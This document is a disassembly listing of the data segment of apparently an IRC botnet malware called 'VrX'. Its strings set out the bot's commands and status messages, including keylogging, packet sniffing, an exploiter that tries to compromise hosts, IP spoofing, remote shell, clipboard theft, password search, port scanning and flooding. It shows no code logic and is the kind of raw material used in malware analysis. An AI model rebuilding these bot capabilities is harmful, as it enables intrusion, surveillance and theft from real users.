unk_42B2BC db 2Dh ; - ; DATA XREF: sub_401ACD+4646o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
unk_42B2DC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406091o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 4
unk_42B2FC db 2Dh ; - ; DATA XREF: sub_401ACD+45BAo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 10h
aShare db 'share',0 ; DATA XREF: sub_401ACD+4567o
align 4
aContinue db 'continue',0 ; DATA XREF: sub_401ACD+4527o
align 4
aPause db 'pause',0 ; DATA XREF: sub_401ACD+450Fo
align 4
unk_42B33C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405FB9o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
unk_42B35C db 2Dh ; - ; DATA XREF: sub_401ACD+44E2o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 10h
aStart db 'start',0 ; DATA XREF: sub_401ACD+44ABo
align 4
unk_42B388 db 2Dh ; - ; DATA XREF: sub_401ACD+4478o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet db 'net',0 ; DATA XREF: sub_401ACD+4454o
aStop db 'stop',0 ; DATA XREF: sub_401ACD+4426o
; sub_401ACD+443Do ...
align 4
aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+440Fo
align 4
aKeyloger db 'keyloger',0 ; DATA XREF: sub_401ACD+43F8o
align 10h
dword_42B3E0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405EB8o
aNoThreadFound_ db '- No thread found.',0
align 10h
dword_42B400 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43E1o
aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0
align 4
dword_42B438 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43B3o
aFailedToSta_13 db '- Failed to start server, error: <%d>.',0
align 4
dword_42B46C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4366o
aServerRunnin_0 db '- Server running on Port: 113.',0
align 4
dword_42B498 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4356o
aAlreadyRunning db '- Already running.',0
align 4
aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4325o
align 10h
unk_42B4C0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DE5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aNoVrxSnifferTh db '- No VrX sniffer thread found.',0
unk_42B4EC db 2Dh ; - ; DATA XREF: sub_401ACD+430Eo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVrxSnifferStop db '- VrX sniffer stopped. (%d thread(s) stopped.)',0
unk_42B528 db 2Dh ; - ; DATA XREF: sub_401ACD+42E0o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFailedToSta_14 db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B564 db 2Dh ; - ; DATA XREF: sub_401ACD+4271o
db 3, 34h, 2
db 53h ; S
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVrxPacketSniff db '- VrX packet sniffer active.',0
align 10h
unk_42B590 db 2Dh ; - ; DATA XREF: sub_401ACD+420Ao
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aAlreadyRunni_0 db '- Already running.',0
aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41D5o
dword_42B5B8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C95o
aNoCarnivoreThr db '- No Carnivore thread found.',0
align 4
dword_42B5E4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+41BEo
aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0
align 10h
dword_42B620 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4190o
aFailedToSta_15 db '- Failed to start sniffer thread, error: <%d>.',0
align 4
dword_42B65C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4121o
aCarnivorePacke db '- Carnivore packet sniffer active.',0
align 4
dword_42B68C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40BAo
aAlreadyRunni_1 db '- Already running.',0
align 4
aOn db 'on',0 ; DATA XREF: sub_401ACD+409Ao
; sub_401ACD+41EAo ...
align 10h
aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+4085o
align 4
aRf db 'rf',0 ; DATA XREF: sub_401ACD+406Eo
align 4
aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4057o
align 4
aCm db 'cm',0 ; DATA XREF: sub_401ACD+4040o
align 4
aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4029o
aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+4012o
align 4
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FFBo
aV: ; DATA XREF: sub_401ACD+3FE4o
; ___:004387BCo ...
unicode 0, <v>,0
aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FCDo
align 4
aLi db 'li',0 ; DATA XREF: sub_401ACD+3FB6o
align 10h
aList db 'list',0 ; DATA XREF: sub_401ACD+3F9Fo
align 4
aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F88o
align 4
aDel db 'del',0 ; DATA XREF: sub_401ACD+3F5Ao
aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F43o
; sub_401ACD+453Fo
align 4
aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F2Co
align 4
aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F15o
align 4
aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EFEo
align 4
aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE7o
align 4
aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ED0o
align 4
aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o
aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA2o
align 10h
aO: ; DATA XREF: sub_401ACD+3E74o
; ___:00438AECo
unicode 0, <o>,0
aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E5Do
; sub_401ACD+583Ao ...
align 4
aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E46o
align 10h
aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E2Fo
align 4
aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E18o
align 10h
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E01o
align 4
aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DEAo
aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DD3o
align 4
aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DA5o
align 4
aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D77o
aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D60o
align 4
aJ: ; DATA XREF: sub_401ACD+3D32o
unicode 0, <j>,0
aN: ; DATA XREF: sub_401ACD+3D04o
; ___:004387C4o ...
unicode 0, <n>,0
unk_42B784 db 2Dh ; - ; DATA XREF: sub_401ACD+3CCFo
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aDisconnectingC db '- disconnecting clones...',0
align 4
aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o
aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C3Do
align 10h
aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3BE2o
align 10h
aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B0Do
dword_42B7E4 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
; DATA XREF: sub_401ACD+3AB7o
; sub_401ACD+3AF2o
dd 0
dword_42B7FC dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
; DATA XREF: sub_401ACD+3A7Co
dd 1
dword_42B814 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
; DATA XREF: sub_401ACD+3A41o
; sub_401ACD+3B62o
aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+39ECo
align 10h
aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3951o
; sub_401ACD+3991o ...
align 10h
aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+38F7o
align 4
aMsg db 'msg',0 ; DATA XREF: sub_401ACD+3802o
aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+37BDo
aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+36B5o
; sub_401ACD+3CEDo
align 4
dword_42B85C dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
; DATA XREF: sub_401ACD+369Ao
dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B884 dd 636364h ; DATA XREF: sub_401ACD+361Do
dword_42B888 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+34C6o
dword_42B894 dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+34ABo
; sub_401ACD+3712o ...
dword_42B89C dd 69257325h, 0 ; DATA XREF: sub_401ACD+3490o
; sub_40AAAC+4Fo ...
aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+344Fo
align 4
aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3434o
; sub_401ACD+3520o ...
align 4
aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+340Do
align 4
aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+33F2o
aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+33D0o
; sub_401ACD+3D49o
align 4
aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+33B5o
; sub_401ACD+34F4o ...
aJoin db 'join',0 ; DATA XREF: sub_401ACD+3393o
; sub_401ACD+3D1Bo
align 4
aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+3378o
align 10h
aMode db 'mode',0 ; DATA XREF: sub_401ACD+3329o
; sub_401ACD+47C9o
align 4
aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+330Eo
align 4
aNt db 'nt',0 ; DATA XREF: sub_401ACD+32BFo
align 4
dword_42B90C dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
; DATA XREF: sub_401ACD+32A4o
dword_42B920 dd 7463h ; DATA XREF: sub_401ACD+3255o
dword_42B924 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+323Ao
; sub_401ACD+385Co ...
dword_42B934 dd 5Fh ; DATA XREF: sub_401ACD+320Bo
; sub_401ACD+3275o ...
dword_42B938 dd 6D70h ; DATA XREF: sub_401ACD+31EBo
; sub_401ACD+4756o
unk_42B93C db 2Dh ; - ; DATA XREF: sub_401ACD+31BBo
db 3, 34h, 2
db 56h ; V
db 72h, 58h, 20h
db 46h ; F
db 6Ch, 2 dup(6Fh)
db 64h ; d
db 2, 3, 2Dh
aSClonesLoadedT db ' %s clones loaded to %s:%s',0
align 4
aLoad db 'load',0 ; DATA XREF: sub_401ACD+3164o
align 10h
aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3143o
align 4
aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+312Co
align 10h
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3115o
aRin db 'rin',0 ; DATA XREF: sub_401ACD+30FEo
aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+30E7o
align 4
unk_42B9A4 db 2Dh ; - ; DATA XREF: sub_401ACD+30DAo
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0
align 4
unk_42B9E4 db 2Dh ; - ; DATA XREF: sub_401ACD+3068o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aAttemptingToCo db '- attempting to compromise %s...',0
align 4
aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+2FE1o
unk_42BA1C db 2Dh ; - ; DATA XREF: sub_401ACD+2FC5o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0
align 4
unk_42BA48 db 2Dh ; - ; DATA XREF: sub_401ACD+2FA7o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2F83o
align 4
unk_42BA88 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4049F7o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 10h
aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_4049D9o
; sub_401ACD+3F71o
unk_42BAC4 db 3 ; DATA XREF: sub_401ACD+2E9Ao
a81VrxInvalidLo db '8,1-VrX- Invalid login slot number: %d.',0
align 10h
unk_42BAF0 db 3 ; DATA XREF: sub_401ACD+2E8Fo
a81VrxNoUserLog db '8,1-VrX- No user logged in at slot: %d.',0
align 4
dword_42BB1C dd 312C3803h, 5872562Dh, 7325202Dh, 0 ; DATA XREF: sub_401ACD+2E3Ao
unk_42BB2C db 3 ; DATA XREF: sub_401ACD:loc_4048F8o
a81VrxPoweredBy db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-'
db 'Hackers.com).',0
dword_42BB7C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E08o
aFailedToSta_16 db '- Failed to start secure thread, error: <%d>.',0
align 4
dword_42BBB8 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h
; DATA XREF: sub_401ACD+2D8Eo
dd 2E6D6574h, 0
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2D88o
align 10h
aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2D81o
align 4
unk_42BBEC db 2Dh ; - ; DATA XREF: sub_401ACD+2D0Ao
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToSta_17 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42BC2C db 2Dh ; - ; DATA XREF: sub_401ACD+2C86o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStartedO db ' Server started on: %s:%d.',0
align 4
dword_42BC58 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C04o
aFailedToSta_18 db '- Failed to start server thread, error: <%d>.',0
align 4
dword_42BC94 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2B95o
aServerStarte_0 db '- Server started on: %s:%d.',0
dword_42BCBC dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2AE2o
dword_42BCCC dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2ADDo
dword_42BCD8 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo
dword_42BCE8 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2AC5o
unk_42BCF8 db 3 ; DATA XREF: sub_401ACD+2A52o
a81VrxReconne_1 db '8,1-VrX- Reconnecting.',0
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o
; sub_401ACD:loc_409570o ...
align 4
unk_42BD28 db 3 ; DATA XREF: sub_401ACD+2A30o
a81VrxDisconnec db '8,1-VrX- Disconnecting.',0
align 4
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o
align 4
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo
; sub_401ACD+78C1o
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo
align 4
unk_42BD78 db 3 ; DATA XREF: sub_401ACD+29D4o
a81VrxStatusRea db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0
align 4
unk_42BDA4 db 3 ; DATA XREF: sub_401ACD+2995o
a81VrxBotIdS_ db '8,1-VrX- Bot ID: %s.',0
align 4
unk_42BDBC db 2Dh ; - ; DATA XREF: sub_401ACD+2986o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToSta_19 db '- Failed to start list thread, error: <%d>.',0
align 4
dword_42BDF8 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h
; DATA XREF: sub_401ACD+2917o
dd 65726874h, 2E736461h, 0
dword_42BE18 dd 627573h ; DATA XREF: sub_401ACD+28F1o
unk_42BE1C db 3 ; DATA XREF: sub_401ACD+289Fo
a81VrxAliasList db '8,1-VrX- Alias list.',0
align 4
unk_42BE34 db 2Dh ; - ; DATA XREF: sub_401ACD+2884o
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedToSta_20 db '- Failed to start listing thread, error: <%d>.',0
dword_42BE6C dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
; DATA XREF: sub_401ACD+2815o
dd 2E676Fh
unk_42BE84 db 3 ; DATA XREF: sub_401ACD+276Do
a81VrxNetworkIn db '8,1-VrX- Network Info.',0
unk_42BE9C db 3 ; DATA XREF: sub_401ACD+273Eo
a81VrxSystemInf db '8,1-VrX- System Info.',0
align 4
unk_42BEB4 db 3 ; DATA XREF: sub_401ACD+26E9o
a81VrxRemovingB db '8,1-VrX- Removing Bot.',0
unk_42BECC db 2Dh ; - ; DATA XREF: sub_401ACD+26CDo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToSta_21 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_42BF08 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h
; DATA XREF: sub_401ACD+2658o
dd 696C2073h, 2E7473h
aFull db 'full',0 ; DATA XREF: sub_401ACD+2638o
align 4
unk_42BF2C db 2Dh ; - ; DATA XREF: sub_401ACD+25D9o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aAlreadyRunni_2 db ' Already running.',0
align 4
unk_42BF4C db 3 ; DATA XREF: sub_401ACD+2588o
a81VrxUptimeS_ db '8,1-VrX- Uptime: %s.',0
align 4
unk_42BF64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F8Ao
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellRea db '- Remote shell ready.',0
align 4
unk_42BF84 db 2Dh ; - ; DATA XREF: sub_401ACD+24B6o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0
align 4
unk_42BFAC db 2Dh ; - ; DATA XREF: sub_401ACD+249Ao
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellAlr db '- Remote shell already running.',0
align 4
unk_42BFD8 db 3 ; DATA XREF: sub_401ACD+2484o
a81VrxGetClipbo db '8,1-VrX- Get Clipboard.',0
align 4
dword_42BFF4 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: sub_401ACD+2456o
dd 2Dh
unk_42C00C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F13o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 4
unk_42C038 db 2Dh ; - ; DATA XREF: sub_401ACD+243Fo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 4
unk_42C05C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE8o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 4
unk_42C088 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE1o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 4
unk_42C0B4 db 2Dh ; - ; DATA XREF: sub_401ACD+240Do
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 4
unk_42C0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+23BAo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_22 db '- Failed to start server thread, error: <%d>.',0
align 4
unk_42C114 db 2Dh ; - ; DATA XREF: sub_401ACD+234Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C150 db 2Dh ; - ; DATA XREF: sub_401ACD+2265o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_23 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42C18C db 2Dh ; - ; DATA XREF: sub_401ACD+21FAo
; sub_40BD91+449o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C1C8 db 2Dh ; - ; DATA XREF: sub_401ACD+20F3o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_24 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42C204 db 2Dh ; - ; DATA XREF: sub_401ACD+2084o
; sub_40BD91+DAo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_1 db ' Server started on Port: %d, File: %s.',0
align 4
unk_42C238 db 2Dh ; - ; DATA XREF: sub_401ACD+1FCFo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aAlreadyRunni_3 db ' Already running.',0
align 4
unk_42C258 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403A86o
db 3, 34h, 2
db 4Dh ; M
db 61h, 2 dup(53h)
db 20h
db 53h, 63h, 41h
db 6Eh ; n
db 2, 3, 2Dh
aFailedToSta_25 db ' Failed to start scan, port is invalid.',0
unk_42C290 db 2Dh ; - ; DATA XREF: sub_401ACD+1F6Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_26 db '- Failed to start scan thread, error: <%d>.',0
align 4
unk_42C2CC db 2Dh ; - ; DATA XREF: sub_401ACD+1EFBo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 4
aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1ED0o
; sub_401ACD+5B20o
align 4
aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1EC9o
; sub_401ACD+5B19o
align 4
dword_42C34C dd 234032Dh, 3025A56h ; DATA XREF: sub_401ACD+1D0Fo
aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0
align 4
unk_42C388 db 2Dh ; - ; DATA XREF: sub_401ACD+1CB2o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToSta_27 db 'Failed to start search thread, error: <%d>.',0
unk_42C3C4 db 2Dh ; - ; DATA XREF: sub_401ACD+1C38o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aSearchingForPa db 'Searching for password.',0
aFp db 'fp',0 ; DATA XREF: sub_401ACD+1BEFo
align 10h
aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1BDEo
align 4
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+1BC8o
aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1BB1o
align 4
aAs db 'as',0 ; DATA XREF: sub_401ACD+1B9Co
align 10h
aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1B87o
unk_42C444 db 3 ; DATA XREF: sub_401ACD+1B37o
a81VrxCrashingB db '8,1-VrX- Crashing bot.',0
aShitycrash db 'shitycrash',0 ; DATA XREF: sub_401ACD+1B21o
; sub_401ACD+1B71o
align 4
aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B0Co
align 10h
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1AF7o
align 4
aHttp db 'http',0 ; DATA XREF: sub_401ACD+1AE2o
align 4
aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1ACDo
align 10h
aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1AB8o
align 4
aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1AA3o
align 4
aCip db 'cip',0 ; DATA XREF: sub_401ACD+1A8Eo
aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1A79o
align 4
aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1A64o
align 10h
aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1A4Fo
align 4
aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A3Ao
align 4
aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A25o
align 10h
aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A10o
align 4
aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+19FBo
unk_42C4EC db 2Dh ; - ; DATA XREF: sub_401ACD+19BDo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingDisabl db ' Spoofing disabled.',0
aOff db 'off',0 ; DATA XREF: sub_401ACD+19A2o
; sub_401ACD+3C81o ...
aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+198Eo
align 10h
unk_42C520 db 3 ; DATA XREF: sub_401ACD+196Eo
a81VrxLoginList db '8,1-VrX- Login list complete.',0
align 10h
aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1939o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_4033F9o
dword_42C550 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh
; DATA XREF: sub_401ACD+1902o
dword_42C564 dd 6F6877h ; DATA XREF: sub_401ACD+18E5o
dword_42C568 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo
dword_42C574 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+18D5o
aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+18BCo
aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+18A7o
align 4
aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+1892o
aDll db 'dll',0 ; DATA XREF: sub_401ACD+187Do
aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+1868o
align 4
aDrv db 'drv',0 ; DATA XREF: sub_401ACD+1853o
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+183Eo
align 4
aUp db 'up',0 ; DATA XREF: sub_401ACD+1829o
align 10h
aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+1814o
align 4
